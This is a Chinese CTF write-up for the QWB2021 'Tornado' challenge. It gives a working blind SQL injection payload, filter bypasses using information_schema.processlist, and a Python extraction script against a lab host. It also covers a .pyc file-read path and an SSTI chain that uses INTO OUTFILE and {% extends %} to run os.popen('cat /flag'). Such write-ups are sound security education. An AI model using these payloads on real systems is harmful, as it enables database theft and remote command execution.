[QWB2021 Quals]托纳多
知识点
- 新型任意文件读取漏洞的研究
- Pwnhub Web题Classroom题解与分析
解题步骤
在/register.php有注入点。直接来一波
1'||if(1,1,0) or '0
可以尝试出布尔盲注。
可以fuzz一下,过滤了sys,<>= like tables coluns。用不了information_schema.tables之类的获取表列名。于是就用上面的information_schema.processlist
。除此之外,还可以用performance_schema.events_statements_summary_by_digest
同理select (DIGEST_TEXT) FROM performance_schema.events_statements_summary_by_digest
即可得到表结构
贴一个盲注脚本from time import sleep import requests url = "http://9fbd929d-6266-4e07-838e-d0449ddbfed7.node4.buuoj.cn:81/" for n in range(0,150): for i in range(31,300): payload = "if((ascii(substr((select (info) FROM information_schema.processlist limit 0,1)," + str( n + 1) + ",1)) in (" + str(i) + ")),1,0)" #SELECT qwbqwbqwbuser,qwbqwbqwbpass from qwbtttaaab111e where qwbqwbqwbuser='andmin' # payload = "if((ascii(substr((select qwbqwbqwbpass FROM qwbtttaaab111e limit 0,1)," + str(n + 1) + ",1)) in (" + str(i) + ")),1,0)" #glzjin666888 r = requests.get(url + "register.php?username=admin' and " + payload + " and '1&password=1") if r.status_code != 200: sleep(1) r = requests.get(url + "register.php?username=admin' and " + payload + " and '1&password=1") if ("username" in r.text): print(chr(i), end="") break elif("success" not in r.text): print("n= "+str(n)+" i= "+str(i)+"|"+r.text)
理论上获取到admin登录有个源码读取,可以去wp:
https://npfs06.top/2021/07/23/QWB2021-Quals-%E6%89%98%E7%BA%B3%E5%A4%9A/ 看pyc文件是有一定的命名规则的,既然我们得知了app.py的目录,我们就可以去该目录寻找pyc文件。pyc的命名规则为pycache/文件名.cpython-2位版本号.pyc,这里文件名为app,版本号需要爆破一下,其实如果你留心的话,本服务器在http返回头中返回了tornado版本号(tornado默认返回的)为Server: TornadoServer/6.0.3,而该版本的tornado只支持python3.5及其以上版本,因此这里只需要随便猜几次就猜到python版本号了。
/qwbimage.php?qwb_image_name=/qwb/app/__pycache__/app.cpython-35.pyc
python代码就不贴了
在/good_job_my_ctfer.php路由对应的处理部分,有个ssti,但过滤的很死。因为{{}}被过滤,所以只能用{%%}\这一步用到的为**{%extends %}**,它的参数为一个文件,会将其包含并渲染。所以思路为上传一个文件,然后extends包含并渲染。这里通过register向服务器写入文件。具体实现为通过注册功能将代码写入数据库,再通过into outfile语句将其导出为文件。导出文件路径为/var/lib/mysql-files/
,因为mysql只在这里有写的权限。
最终exp:/register.php?username=npfs&password={% set return __import__("os").popen("cat /flag").read()%} /register.php?username=npfs' into outfile '/var/lib/mysql-files/npfs&password=npfs /good_job_my_ctfer.php?congratulations={% extends /var/lib/mysql-files/npfs%}